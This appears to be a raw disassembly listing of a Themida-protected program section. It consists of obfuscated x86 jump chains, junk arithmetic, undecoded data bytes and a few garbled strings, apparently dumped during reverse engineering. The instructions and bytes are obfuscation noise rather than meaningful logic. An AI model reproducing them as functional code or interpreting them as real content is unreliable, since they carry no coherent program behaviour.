		jmp	loc_5654CB
; ---------------------------------------------------------------------------
		db 87h
		dd 515C243Ch, 1612E9h, 24248B00h, 815D5455h, 4C5h, 0F1C1E900h
		dd 61BEFFFFh, 0F7411C5Dh, 0FBE681D6h, 0E97C466Ch, 40F4h
		dd 0E940C380h, 0CDE6h
; ---------------------------------------------------------------------------


loc_55A550:				; CODE XREF: Themida_:005597E2j
		push	4362h
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		push	eax
		push	esi
		mov	esi, 0CC8155Eh
		mov	eax, esi
		pop	esi
		jmp	loc_565A94
; ---------------------------------------------------------------------------
		db 5Ch,	66h, 89h
		dd 0EC832414h, 240C8904h, 0C087B050h, 0E0C005E8h, 4DCEE902h
		dd 0C4FE0000h, 5131F480h, 0E5C0E8B5h, 2EDC005h,	0E907E5C0h
		dd 1D8Dh, 7E99BF57h, 0F7474454h, 6E7C1D7h, 74F6EF81h, 814767C1h
		dd 849C72EFh, 5FFD3127h, 550BE9h, 245C2900h, 9B7EE904h
		dd 0D701FFFFh, 8D59E9h,	40776800h, 4890000h, 34A3B824h
		dd 61053259h, 1CDA6CBh,	24048BC2h, 0E9E38953h, 7BA2h, 0E9243C89h
		dd 50A9h, 184668h, 24148900h, 0F98326BAh, 5AD52930h, 535DEF31h
		dd 998BE9h, 51E58900h, 0F3CBF57h, 0EF811E58h, 133850BDh
		dd 77F7C781h, 0E7810409h, 79B92DDCh, 8103EFC1h,	0E51E37F7h
		dd 69CEE95Ch, 0EB810000h, 3901894Ch, 91E9D387h,	0BDFFFF99h
		dd 6FD7121Bh, 6985F581h, 0EF8952B4h, 8BFB315Dh,	0ADE9243Ch
		dd 0BD000013h, 7D1130F7h, 37E95155h, 8800003Eh,	9FB25AD3h
		dd 305BDA00h, 0C4FE5AD4h, 0E9D2B252h, 0BEBh, 9A8FE951h
		dd 0F9290000h, 74FF515Fh, 99E90424h, 6800005Ah,	6Dh, 81242489h
		dd 42404h, 815F0000h, 4C7h, 8C3EE900h, 0E9510000h, 9C2Ch
; ---------------------------------------------------------------------------


loc_55A6B0:				; CODE XREF: Themida_:00554C14j
		push	ebx
		mov	ebx, 627A4924h
		jmp	loc_558395
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0F7B5E957h, 8B5FFFFFh, 0EC832414h, 24148904h, 6399E9h
		dd 0EED14600h, 7E6C146h, 343AF681h, 0F021573Eh,	221C2D5Eh
		dd 0EA814010h, 341B7B3Eh, 0B951C201h, 341B7B3Eh, 5859CA01h
		dd 0CEA4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A6FD:				; CODE XREF: Themida_:0055EDFFj
		mov	ebx, esp
		jmp	loc_558A89
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4812424h,	424h, 87B8E900h, 48B0000h, 9261E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A71E:				; CODE XREF: Themida_:0055EC34j
		push	ebx
		mov	ebx, 4
		jmp	loc_56412F
; ---------------------------------------------------------------------------


loc_55A729:				; CODE XREF: Themida_:0055E493j
		sub	esp, 4
		jmp	loc_561E0D
; ---------------------------------------------------------------------------


loc_55A734:				; CODE XREF: Themida_:00557DA3j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55DBEB
; ---------------------------------------------------------------------------
		dw 2E2Ch
		dd 2C1EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A749:				; CODE XREF: Themida_:00560373j
		pop	edx
		add	ecx, 1
		sub	ecx, 46FA74A8h
		push	0F12h
		mov	[esp], edx
		mov	edx, 5B985E8Ch
		sub	ecx, edx
		pop	edx
		jmp	loc_55F499
; ---------------------------------------------------------------------------
		dd 8158C729h, 9E640CEAh, 0E9FA014Bh, 1CD3h, 293203B8h
		dd 4E8C125h, 7DBDE940h,	0C4830000h, 0B1DCE904h,	0EC81FFFFh
		dd 4, 0FF241C89h, 5B042474h, 8B24048Fh,	6CE92424h, 2C000063h
		dd 4E8C0E3h, 68E95934h,	1000052h, 983BE9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A7BA:				; CODE XREF: Themida_:00554DCEj
		mov	edi, [esp]
		jmp	loc_560362
; ---------------------------------------------------------------------------


loc_55A7C2:				; CODE XREF: Themida_:0055FC0Aj
		shr	ecx, 4
		neg	ecx
		xor	ecx, 0F1205415h
		add	ebp, ecx
		jmp	loc_559025
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 89662424h, 0E0E92404h
		db 84h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55A7E3:				; CODE XREF: Themida_:0055F4A5j
		not	edi
		and	edi, 35CF3EDCh
		neg	edi
		sub	edi, 4F589682h
		add	ecx, edi
		pop	edi
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jmp	loc_555789
; ---------------------------------------------------------------------------
a5QTsps4	db '5ыQ{tSPИ4╢',0
		align 4


loc_55A80C:				; CODE XREF: Themida_:00567002j
		mov	eax, 4
		add	ebx, eax
		pop	eax
		jmp	loc_563154
; ---------------------------------------------------------------------------


loc_55A819:				; CODE XREF: Themida_:00562834j
		mov	esp, [esp]
		mov	[esp], ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_56244C
; ---------------------------------------------------------------------------


loc_55A827:				; CODE XREF: Themida_:00563218j
		push	7D1523ABh
		mov	eax, [esp]
		push	137Bh
		mov	[esp], edi
		push	esp
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_558B5C
; ---------------------------------------------------------------------------
		dw 5866h
		dd 809AC580h, 0EC288CECh, 598CC480h, 34FFE130h,	0C4815824h
		dd 4, 2812E980h, 0C8B66C8h, 2C48324h, 5C2A68h, 240C8900h
		dd 4EC81h, 1C890000h, 4EC8124h,	89000000h, 0E2892414h
		dd 4C281h, 0B8500000h, 4, 8758C229h, 0A7E92414h, 52FFFFD6h
		dd 0EB80DEB2h, 5662E9DFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A8AE:				; CODE XREF: Themida_:00565190j
		neg	ecx
		xor	ecx, 736565DCh
		sub	ecx, 3544334Eh
		add	ecx, 5A3C57B4h
		jmp	loc_565730
; ---------------------------------------------------------------------------
aS_9		db '\И╨,',0
		db 0
; ---------------------------------------------------------------------------


loc_55A8CD:				; CODE XREF: Themida_:00555E0Ej
		pop	esp
		shr	eax, 8
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		xchg	eax, [esp]
		jmp	loc_566B13
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 1Dh
		dd 68FFFFFEh, 69F7h, 55243C89h,	0B8ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_55A8F5:				; CODE XREF: Themida_:0055FADAj
		pop	ecx
		push	ebx
		jmp	loc_55B2D8
; ---------------------------------------------------------------------------
		dd 83242C8Bh, 0B95104C4h, 61E506E9h, 76CAC181h,	23E93C8Eh
		dd 55FFFF84h, 4BDh, 0E9EE8900h,	75C9h
; ---------------------------------------------------------------------------


loc_55A920:				; CODE XREF: Themida_:0055E787j
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 44C80679h
		jmp	loc_55DDDB
; ---------------------------------------------------------------------------
aVsR		db '[VИ`░',0
		align 10h
		dd 737D6853h, 0F75B1F1Bh, 6E3C1D3h, 3800E9h
		db 0
; ---------------------------------------------------------------------------


loc_55A951:				; CODE XREF: Themida_:00557EC2j
		mov	dh, 0A3h
		jmp	loc_56462E
; ---------------------------------------------------------------------------


loc_55A958:				; CODE XREF: Themida_:00567579j
		push	edi
		mov	edi, 4
		add	ecx, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55F16E
; ---------------------------------------------------------------------------
aIXiZyhmc	db '┬бX┬тZYh▄c',0
		dw 8900h
		dd 0E388241Ch, 72C068h,	24048900h, 27E9D888h, 0FF000074h
		dd 505E2434h, 1AE9E089h, 8900009Ch, 405E0h, 42D0000h, 87000000h
		dd 0D0E92404h, 5700006Fh, 1C183BBFh, 4CEEE93Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A9BA:				; CODE XREF: Themida_:00560958j
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 59226A5Dh
		mov	ebp, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	eax
		jmp	loc_55DED9
; ---------------------------------------------------------------------------
		dd 410F1FBBh, 0C15E91Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55A9E2:				; CODE XREF: Themida_:0056151Aj
		pop	esi
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		sub	esp, 2
		mov	[esp], cx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		jmp	loc_564B29
; ---------------------------------------------------------------------------


loc_55AA0A:				; CODE XREF: Themida_:00553E4Aj
		mov	[esp], edi
		mov	edi, esp
		jmp	loc_5597C9
; ---------------------------------------------------------------------------
		dd 4C2815Ah, 56000000h,	0C681E689h, 4, 4EC81h, 4890000h
		dd 9472E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AA32:				; CODE XREF: Themida_:00560065j
		shr	edi, 8
		and	edi, 797025A4h
		push	eax
		mov	eax, 0FFF3FFDCh
		add	edi, eax
		pop	eax
		mov	ebp, edi
		pop	edi
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_559F23
; ---------------------------------------------------------------------------
		db 0B9h, 0D7h, 6Bh
		dd 0C2816270h, 3B092C1Ah, 77E9CA01h, 68FFFFE8h,	19AFh
		dd 0E9243489h, 7E46h
dword_55AA80	dd 3166AD66h, 0BE6656D8h, 70E963F3h ; DATA XREF: Themida_:00552B6Co
		db 81h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AA8F:				; CODE XREF: Themida_:0055BE3Aj
		mov	[esp], edx
		push	esp
		jmp	loc_556502
; ---------------------------------------------------------------------------
		dd 0FFFFFFBEh, 80EA81FFh, 813E1574h, 0CF1D5BC2h, 56F2012Ch
		dd 0A7F4E9h
		db 0
; ---------------------------------------------------------------------------


loc_55AAB1:				; CODE XREF: Themida_:0055E5D0j
		push	edi
		push	ebx
		jmp	loc_5616C4
; ---------------------------------------------------------------------------


loc_55AAB8:				; CODE XREF: Themida_:005535A4j
		xchg	edi, [esp]
		pop	esp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		jmp	loc_562216
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4C6h, 24348700h, 5224248Bh, 0C281E289h, 4
		dd 5204C283h, 42474FFh,	0FFC3E8E9h, 54C380FFh, 8324048Bh
		dd 0EB8004C4h, 0C0B60F9Ch, 688734FFh, 66Fh, 0BB241C89h
		dd 6FD454E3h, 0A1685755h, 5F3FE26Bh, 4EC81h, 14890000h
		dd 0E9505324h, 5890h, 8124348Bh, 4C4h, 56D8E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55AB3E:				; CODE XREF: Themida_:0055C60Dj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	dword ptr [esp]
		jmp	loc_554C19
; ---------------------------------------------------------------------------


loc_55AB4D:				; CODE XREF: Themida_:0056482Ej
		add	bl, 7Dh
		push	edx
		mov	dh, 73h
		neg	dh
		or	dh, 92h
		add	dh, 87h
		xor	dh, 0E9h
		jmp	loc_554462
; ---------------------------------------------------------------------------


loc_55AB63:				; CODE XREF: Themida_:005534EBj
		shr	ecx, 2
		push	esi
		sub	esp, 4
		jmp	loc_5646BD
; ---------------------------------------------------------------------------
		db 83h
		dd 0D46804C4h, 8900007Eh, 0E9532414h, 3F42h, 79B6C681h
		dd 0F68136EDh, 7A28239Ch, 526FCE81h, 0F6814C6Ah, 62DB334Ch
		dd 9983C681h, 0F5012CB8h, 0E953455Eh, 0B195h, 8107E6C1h
		dd 0ADFC7CEEh, 0F2C181BEh, 101B503h, 5AA7E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ABBE:				; CODE XREF: Themida_:00555942j
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 5BBB2683h
		xor	edx, 5155313Eh
		xor	edx, 0AEE17B9h
		add	ecx, edx
		pop	edx
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		jmp	loc_558DAD
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 19h
		dd 5212DB6Fh, 3D8CCABAh, 0E9D1018Ch, 0FA5h
; ---------------------------------------------------------------------------


loc_55ABFC:				; CODE XREF: Themida_:0055AE59j
		pop	edi
		mov	eax, [esp]
		jmp	loc_562B3B
; ---------------------------------------------------------------------------
		db 0B8h, 0D6h, 56h
		dd 7B354897h, 2150CB33h, 24048BC7h, 4F04C483h, 0FF8FDEE9h
		dd 88C688FFh, 1A885AF3h, 709FE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AC29:				; CODE XREF: Themida_:00563E78j
		push	5B7Bh
		mov	[esp], ebp
		sub	esp, 4
		jmp	loc_556C3E
; ---------------------------------------------------------------------------


loc_55AC39:				; CODE XREF: Themida_:0055D618j
		jmp	loc_552CC3
; ---------------------------------------------------------------------------


loc_55AC3E:				; CODE XREF: Themida_:0055EB3Dj
		mov	esp, [esp]
		sub	al, bl
		jmp	loc_5610CC
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4B9240Ch,	57000000h, 942F8BBFh, 0E9FB2927h
		dd 0FFFF90E8h, 5104C483h, 0FA6B966h, 6E9C166h, 642AE9h
		dd 81CF8800h, 4ECh, 240C8900h, 0CE88F988h, 8A9AE959h, 88500000h
		dd 58E588F4h, 0E9C5285Ah, 8699h
; ---------------------------------------------------------------------------


loc_55AC94:				; CODE XREF: Themida_:00561B29j
		add	esp, 4
		jmp	loc_560E4D
; ---------------------------------------------------------------------------
dword_55AC9C	dd 5FF968h, 242C8900h, 0BA52E589h, 4, 835AD501h, 2C3304EDh
					; DATA XREF: Themida_:00552A7Co
		dd 242C3124h, 8B242C33h, 0C892424h, 1317B924h, 0E95379EAh
		dd 78E1h, 8124148Bh, 4C4h, 4CB2E900h, 0D2F70000h, 0BF9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55ACE1:				; CODE XREF: Themida_:00566D8Cj
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edx
		push	18A8h
		mov	[esp], ebp
		push	edi
		mov	edi, 483C6BC7h
		jmp	loc_557B4E
; ---------------------------------------------------------------------------
		dw 0CE31h
		dd 5EF30159h, 4B95F381h, 0DF01D433h, 81241C8Bh,	4C4h, 2C815700h
		dd 14413E24h, 0C5815D08h, 814413Eh, 5DE9015Fh, 0E904C183h
		dd 6629h, 8324348Bh, 2DBE04C4h,	292C341Dh, 0F0015BDEh
		dd 4EC835Eh, 0E9240C89h, 0FFFF8582h, 0AD3EA81h,	0D089F42Bh
		dd 17E1E95Ah
		db 2 dup(0)
aNhI		db '╜hЁI',0             ; DATA XREF: Themida_:00552BCCo
		align 4
		dd 57243489h, 46541FBFh, 9776E965h, 0B951FFFFh,	4, 0B03BE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AD81:				; CODE XREF: Themida_:00560CBEj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5571F5
; ---------------------------------------------------------------------------


loc_55AD8E:				; CODE XREF: Themida_:0055C0DBj
		add	ebx, 5B2209A9h
		shl	ebx, 8
		sub	ebx, 1BB0AA01h
		sub	edx, ebx
		pop	ebx
		not	edx
		add	edx, 0D6CCB00Eh
		add	ecx, edx
		pop	edx
		push	edx
		jmp	loc_55A22B
; ---------------------------------------------------------------------------
		db 21h,	0F3h, 5Eh
		dd 14F5BD55h, 0ED817E48h, 5246F489h, 2C8BEB29h,	9DCEE924h
		dd 34FFFFFFh, 96E95B24h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_55ADD3:				; CODE XREF: Themida_:0056608Dj
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], ecx
		push	2785h
		mov	[esp], edi
		jmp	loc_563B65
; ---------------------------------------------------------------------------
		db 2Dh,	0B2h, 5Eh
		dd 0E0C1656Ch, 0FFFF2D07h, 0A72DFFFFh, 0E960CD33h, 849Ah
		dd 4A8CC681h, 0C68179A3h, 5A007BEh, 1BEEE94Eh, 15A0000h
		dd 0DBBD55F8h, 13E5945h, 3C8B5DE8h, 4C48324h, 31240433h
		dd 4332404h, 24248B24h,	24048B66h, 0FF991BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AE39:				; CODE XREF: Themida_:0055CE30j
		mov	[esp], ebx
		mov	ebx, 6CFB1065h
		or	ebx, 11DA78F6h
		push	0
		sub	[esp], ebx
		jmp	loc_55751C
; ---------------------------------------------------------------------------


loc_55AE54:				; CODE XREF: Themida_:00562FC7j
		sub	edi, ebx
		pop	ebx
		sub	ecx, edi
		jmp	loc_55ABFC
; ---------------------------------------------------------------------------
aSax		db '[И═x',0
		align 4
		dd 4BB53h, 0DE010000h, 2434335Bh, 33243431h, 248B2434h
		dd 4EC8324h, 0BF243C89h, 64643DC6h, 3DC2F781h, 4B056464h
		dd 0E9521B6Eh, 0FFFFE4C0h, 75F8B951h, 0BE5663F8h, 4EF31D94h
		dd 4D02E9h, 7CF18100h, 0E9446F64h, 31Ah, 0DBF637B3h, 0C380CBFEh
		dd 0D0EB80FFh, 30F3EB80h, 0EC815BDDh, 4, 0C3BFE9h
		db 0
; ---------------------------------------------------------------------------


loc_55AECD:				; CODE XREF: Themida_:0055C66Cj
		push	edi
		mov	edi, 0E73D7501h
		add	ebx, edi
		jmp	loc_561078
; ---------------------------------------------------------------------------


loc_55AEDA:				; CODE XREF: Themida_:00555108j
		shl	al, 1
		add	al, 0CFh
		jmp	loc_55C90F
; ---------------------------------------------------------------------------
byte_55AEE3	db 0ACh			; DATA XREF: Themida_:00552B44o
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_5563ED
; ---------------------------------------------------------------------------
		dd 42474FFh, 24048F58h,	0FFF9CEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AEF9:				; CODE XREF: Themida_:0055EF36j
		sub	edi, 7D535DA5h
		sub	edi, 0E6F1BA9Ch
		and	esi, edi
		pop	edi
		add	esi, 673B0AADh
		jmp	loc_5546BB
; ---------------------------------------------------------------------------


loc_55AF13:				; CODE XREF: Themida_:00556536j
		push	12564EEDh
		push	dword ptr [esp]
		jmp	loc_567346
; ---------------------------------------------------------------------------
		dd 2C1835Fh, 31240C33h,	65E9240Ch
		db 2Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55AF2F:				; CODE XREF: Themida_:0055D670j
		push	ebx
		jmp	loc_55327B
; ---------------------------------------------------------------------------


loc_55AF35:				; CODE XREF: Themida_:0055726Bj
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_566407
; ---------------------------------------------------------------------------
		dw 2DBAh
		dd 564214Fh, 4DDE3DADh,	0AD2DD029h, 5A4DDE3Dh, 183E948h
		dd 0EA810000h, 746328F3h, 0C6B7E9h, 24048F00h, 0B5DAE95Ch
		dd 0D2F70000h, 0FFCE69E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55AF79:				; CODE XREF: Themida_:00566E8Fj
		or	eax, eax
		jmp	loc_554197
; ---------------------------------------------------------------------------
		dd 5E2434FFh, 4C481h, 42E90000h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AF8F:				; CODE XREF: Themida_:00560E6Ej
		mov	ah, 72h
		dec	ah
		push	ecx
		mov	cl, 0D6h
		add	ah, cl
		jmp	loc_55A0B6
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 31000000h, 79DB68C3h, 0C890000h, 64B05024h, 38D368h
		dd 24148900h, 0C7E9E3B6h
		db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55AFBF:				; CODE XREF: Themida_:00560E9Bj
		add	ecx, 2FC564C8h
		push	ebx
		mov	ebx, 508356A3h
		and	ebx, 77AA654Fh
		neg	ebx
		xor	ebx, 0AF7DBBFDh
		sub	ebx, 6A625CDDh
		add	ebx, ecx
		push	ecx
		jmp	loc_563ECE
; ---------------------------------------------------------------------------
		db 81h
		dd 3104246Ch, 13C4559h,	0E9042454h, 9B46h, 89FDC181h, 0CA0161A6h
		dd 36DBE9h, 59CA3100h, 11E9D029h, 570000B1h, 4BFh, 0B8B85000h
		dd 143381Bh, 58082444h,	4244481h, 4CDF4358h, 4246C81h
		dd 570242CEh, 4247C01h,	4244481h, 570242CEh, 4246C81h
		dd 4CDF4358h, 4246C81h,	43381BB8h, 57243C8Bh, 0C781E789h
		dd 4, 8704C783h, 0E95C243Ch, 5377h, 49EC381h, 34FF0CC7h
		dd 89575D24h, 4C781E7h,	0E9000000h, 0FFFF8FF9h
; ---------------------------------------------------------------------------


loc_55B07C:				; CODE XREF: Themida_:00558A9Dj
		mov	edx, [esp]
		add	esp, 4
		pop	edi
		push	4D65h
		mov	[esp], edi
		xchg	ebx, [esp]
		push	ebx
		xchg	edx, [esp]
		push	edx
		not	dword ptr [esp]
		pop	edx
		xchg	edx, [esp]
		pop	ebx
		xchg	ebx, [esp]
		jmp	loc_55727F
; ---------------------------------------------------------------------------
		dw 814Bh
		dd 3D5499E3h, 0EC3813Bh, 81735A56h, 4E5A76F3h, 472CE93Fh
		dd 0C2FE0000h, 88DEF280h, 3E00E9D1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55B0CA:				; CODE XREF: Themida_:00566BCAj
		sub	eax, 2BBB22D8h
		sub	eax, 687B3012h
		not	eax
		jmp	loc_55D702
; ---------------------------------------------------------------------------
aYsD		db 'YИ[d',0
		dd 5CB33500h, 0BD550C50h, 0F7FE008h, 0C0A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B0F1:				; CODE XREF: Themida_:0055B190j
		mov	edx, [esp]
		jmp	loc_56770A
; ---------------------------------------------------------------------------


loc_55B0F9:				; CODE XREF: Themida_:0056146Bj
		push	5D6A1623h
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55F9AB
; ---------------------------------------------------------------------------
		db 33h,	4, 24h
		dd 33240431h, 248B2404h, 3CD36624h, 0A4E99C24h,	53FFFF7Bh
		dd 0EAE9E389h, 8FFFFF9Bh, 5C2404h, 0E99C2404h, 0FFFF7B8Fh
		dd 240C8966h, 0C800B6B1h, 1C8B5966h, 4C48324h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_553FFC
; ---------------------------------------------------------------------------


loc_55B152:				; CODE XREF: Themida_:00557BA6j
		add	eax, ecx
		sub	eax, 620952F4h
		pop	ecx
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_557B75
; ---------------------------------------------------------------------------


loc_55B16C:				; CODE XREF: Themida_:0055D6FDj
		mov	[esp], edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5596A5
; ---------------------------------------------------------------------------


loc_55B180:				; CODE XREF: Themida_:005587D0j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55B0F1
; ---------------------------------------------------------------------------
aV30u_sbg	db 'V╬30Н_И│g',0
		align 10h


loc_55B1A0:				; CODE XREF: Themida_:0055B3FFj
		push	ebx
		mov	ebx, 4
		sub	edi, 3F7A53AFh
		add	edi, ebx
		add	edi, 3F7A53AFh
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_564941
; ---------------------------------------------------------------------------
		db 0FEh, 0C6h, 51h
aRAs6		db 'R╡{╠═И6[',0
		align 2
		dw 0E1C1h
		dd 0F7F18106h, 196DD21h, 0CF0159CFh, 5437EF81h,	0C8B0963h
		dd 4C48124h, 87000000h,	248B243Ch, 4BF5724h, 0E9000000h
		dd 0FFFF89ABh, 0FFE8295Ch, 835D2434h, 48904ECh,	4EC8324h
		dd 0E9242489h, 222Ah, 9DE9D989h, 5C000057h, 8C20E9h
		db 0
; ---------------------------------------------------------------------------


loc_55B21D:				; CODE XREF: Themida_:00557A4Fj
		mov	ecx, 0A22BCE5Dh
		add	ebx, 2506AACh
		add	ebx, ecx
		sub	ebx, 2506AACh
		jmp	loc_555509
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 37h
		dd 8177AC5Fh, 133FE2C5h, 7AED811Ah, 811BBF13h, 0EF507CC5h
		dd 22ED812Ah, 5B3D197Dh, 2BF57h, 0FD010000h, 5F2434FFh
		dd 73E95455h, 800000BFh, 0EA80EAEAh, 0E9D408DEh, 0FFFFA9A8h
; ---------------------------------------------------------------------------


loc_55B274:				; CODE XREF: Themida_:00565854j
		pop	eax
		add	eax, 69EC158Ch
		pop	ebx
		sub	edi, eax
		jmp	loc_555897
; ---------------------------------------------------------------------------


loc_55B282:				; CODE XREF: Themida_:005650D5j
		add	esi, 4
		add	esi, 4
		jmp	loc_5552A8
; ---------------------------------------------------------------------------
aSnx		db '^Иnx',0
		db 0
; ---------------------------------------------------------------------------


loc_55B299:				; CODE XREF: Themida_:00556774j
		push	ebp
		jmp	loc_554512
; ---------------------------------------------------------------------------
		db 89h
		dd 32BE2434h, 135C776h,	0A3A7E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B2AE:				; CODE XREF: Themida_:0055E8BDj
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		jmp	loc_561252
; ---------------------------------------------------------------------------
		dd 8B2434FFh, 0C4812434h, 4, 5E08950h, 4, 0B81DE9h, 0E9D70100h
		dd 90CEh
; ---------------------------------------------------------------------------


loc_55B2D8:				; CODE XREF: Themida_:0055A8F7j
		push	edi
		mov	edi, 0FFE1907h
		mov	ebx, 541E7652h
		xor	ebx, edi
		pop	edi
		xor	ebx, 1A5C62CEh
		jmp	loc_55E7F7
; ---------------------------------------------------------------------------


loc_55B2F1:				; CODE XREF: Themida_:00565B8Dj
		mov	edi, 66CE2E30h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		neg	edi
		not	edi
		inc	edi
		add	edi, 1F9D24C7h
		mov	ecx, edi
		pop	edi
		xor	ebx, ecx
		pop	ecx
		jmp	loc_564918
; ---------------------------------------------------------------------------
		dw 0F181h
		dd 0E11DA048h, 159CA31h, 0DFF75AD7h, 4EC81h, 0C890000h
		dd 4BE9B924h, 0CF296722h, 83EF8159h, 89D95D33h,	0C1815FFEh
		dd 4BED37E5h, 0EC81F101h, 4, 0BE243489h, 4BED37E5h, 180CC181h
		dd 0E9812359h, 44041BFDh, 475AE9h, 56E95D00h, 87FFFFF2h
		dd 248B2434h, 4A30F24h,	4CE99C24h, 59FFFF79h, 83241C8Bh
		dd 0CC8004C4h, 3EC80D0h, 48BE728h, 4C48324h, 6504672Ch
		dd 6286E9h, 1CE7B900h, 0F1811DD4h, 295E7A75h, 580BE981h
		dd 0E9573A4Eh, 746Ah, 0E95DE801h, 0FFFFC997h, 24E9FB01h
		dd 5DFFFF7Eh, 8304C483h, 86804E8h, 89000000h, 74FF2404h
		dd 3AE90424h, 0BBFFFFABh, 0DF918ECh, 7575CB81h,	0E3C14742h
		dd 8EBC102h, 148768h, 24048900h, 0FF8134E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55B3F1:				; CODE XREF: Themida_:00554E11j
		pop	edx
		jmp	loc_55C75B
; ---------------------------------------------------------------------------


loc_55B3F7:				; CODE XREF: Themida_:0055FCA7j
		mov	edi, esp
		add	edi, 4
		jmp	loc_55B1A0
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 133956Fh, 0D3E95357h, 8F00002Ah,	2D682404h
		dd 8900004Ch, 0E2892414h, 4BE56h, 0EA810000h, 66725AB6h
		dd 0C281F201h, 66725AB6h, 4EA835Eh, 5C241487h, 2F4CE9h
		db 0
byte_55B441	db 0FFh, 34h, 24h	; DATA XREF: Themida_:00552BACo
		dd 8B2434FFh, 8CE92414h, 580000ACh, 815AD121h, 0D194BC9h
		dd 0E3E1817Dh, 817C3C70h, 0C5047F1h, 8BCE017Ch,	8951240Ch
		dd 4C181E1h, 0E9000000h, 0FFFFD2B7h, 0E9240C8Bh, 0C07h
		dd 27E6815Eh, 461BAA29h, 0A816EE81h, 93E9DC8Ch
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55B493:				; CODE XREF: Themida_:00566C97j
		sub	edx, ebx
		jmp	loc_55E8CD
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 2867029Ah, 22E0F681h, 0F1095040h, 0E924348Bh, 0FFFFC661h
		dd 58E9F0B0h, 0B9000059h, 4, 93E9C829h,	5DFFFFB6h, 0A47334BAh
		dd 9EDEE971h, 1C890000h, 883CB324h, 5045BD9h, 18E9C828h
		db 7, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55B4DF:				; CODE XREF: Themida_:00565AB2j
		add	edx, 0A0DD5F57h
		push	edx
		pop	esi
		pop	edx
		or	esi, 756163F0h
		push	eax
		mov	eax, 58E05674h
		add	eax, 73ED1720h
		xor	eax, 48D14D46h
		push	eax
		not	dword ptr [esp]
		jmp	loc_561304
; ---------------------------------------------------------------------------
		db 66h
		dd 8166FB01h, 6636DDEBh, 81243C8Bh, 2C4h, 0C3E95100h
		db 3Eh,	2 dup(0)
